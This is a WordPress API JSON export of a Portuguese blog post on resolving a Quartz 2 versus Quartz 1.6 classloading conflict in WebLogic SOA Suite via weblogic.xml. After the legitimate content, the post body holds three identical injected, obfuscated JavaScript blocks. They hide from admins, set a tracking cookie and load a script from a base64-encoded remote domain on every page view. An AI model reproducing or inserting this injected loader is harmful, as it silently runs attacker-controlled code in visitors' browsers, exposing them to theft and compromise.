{"id":3758,"date":"2013-01-03T17:04:45","date_gmt":"2013-01-03T19:04:45","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=3758"},"modified":"2025-10-26T22:34:27","modified_gmt":"2025-10-27T01:34:27","slug":"quartz-2-no-soa-suite-e-classloading","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2013\/01\/03\/quartz-2-no-soa-suite-e-classloading\/","title":{"rendered":"Quartz 2 no SOA Suite e Classloading"},"content":{"rendered":"<p style=\"text-align: justify;\">Se voc\u00ea quiser utilizar um projeto web utilizando o quartz-2.x no WebLogic com SOA Suite, ter\u00e1 um problema semelhante a esse:<\/p>\n<pre>java.lang.NoSuchMethodError: org.quartz.Scheduler.getJobGroupNames()Ljava\/util\/List;<\/pre>\n<p style=\"text-align: justify;\">Isso significa que o WebLogic est\u00e1 utilizando uma classe com vers\u00e3o diferente do quartz-2.x. Se voc\u00ea utilizar o utilit\u00e1rio descrito <a title=\"Encontrando JAR \u00e0 partir do nome da classe\" href=\"http:\/\/www.thiagovespa.com.br\/blog\/2012\/04\/11\/encontrando-jar-a-partir-do-nome-da-classe\/\" target=\"_blank\" rel=\"noopener\">nesse post<\/a>\u00a0na pasta de instala\u00e7\u00e3o do WebLogic com SOA Suite, ir\u00e1 verificar que o WebLogic utiliza outra vers\u00e3o do quartz:<\/p>\n<pre>.\/soa\/modules\/quartz-all-1.6.5.jar:org\/quartz\/Scheduler.class<\/pre>\n<p style=\"text-align: justify;\">Mesmo que voc\u00ea coloque o jar do quartz 2.x na pasta WEB-INF\/lib o ClassLoader do WebLogic ir\u00e1 considerar o quartz do SOA. Para dar prefer\u00eancia \u00e0 lib que est\u00e1 na WEB-INF\/lib adicione a seguinte instru\u00e7\u00e3o no arquivos WEB-INF\/weblogic.xml do seu projeto:<\/p>\n<pre class=\"brush: xml; title: ; notranslate\" title=\"\">&lt;?xml version = '1.0' encoding = 'UTF-8'?&gt;\n&lt;weblogic-web-app xmlns:xsi=&quot;http:\/\/www.w3.org\/2001\/XMLSchema-instance&quot;\n                  xsi:schemaLocation=&quot;http:\/\/www.bea.com\/ns\/weblogic\/weblogic-web-app http:\/\/www.bea.com\/ns\/weblogic\/weblogic-web-app\/1.0\/weblogic-web-app.xsd&quot;\n                  xmlns=&quot;http:\/\/www.bea.com\/ns\/weblogic\/weblogic-web-app&quot;&gt;\n...\n  &lt;container-descriptor&gt;\n    &lt;prefer-web-inf-classes&gt;true&lt;\/prefer-web-inf-classes&gt;\n  &lt;\/container-descriptor&gt;\n&lt;\/weblogic-web-app&gt;<\/pre>\n<p style=\"text-align: justify;\">Com isso a lib do quartz que est\u00e1 dentro da pasta WEB-INF lib ser\u00e1 considerada pelo ClassLoader para essa aplica\u00e7\u00e3o ao inv\u00e9s da que est\u00e1 no servidor.<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Se voc\u00ea quiser utilizar um projeto web utilizando o quartz-2.x no WebLogic com SOA Suite, ter\u00e1 um problema semelhante a esse: java.lang.NoSuchMethodError: org.quartz.Scheduler.getJobGroupNames()Ljava\/util\/List; Isso significa que o WebLogic est\u00e1 utilizando uma classe com vers\u00e3o diferente do quartz-2.x. Se voc\u00ea utilizar <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2013\/01\/03\/quartz-2-no-soa-suite-e-classloading\/\">Continue lendo  <span class=\"screen-reader-text\">  Quartz 2 no SOA Suite e Classloading<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3,9,76,6],"tags":[],"class_list":["post-3758","post","type-post","status-publish","format-standard","hentry","category-java","category-oracle","category-soa-2","category-weblogic"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/3758","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=3758"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/3758\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=3758"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=3758"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=3758"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}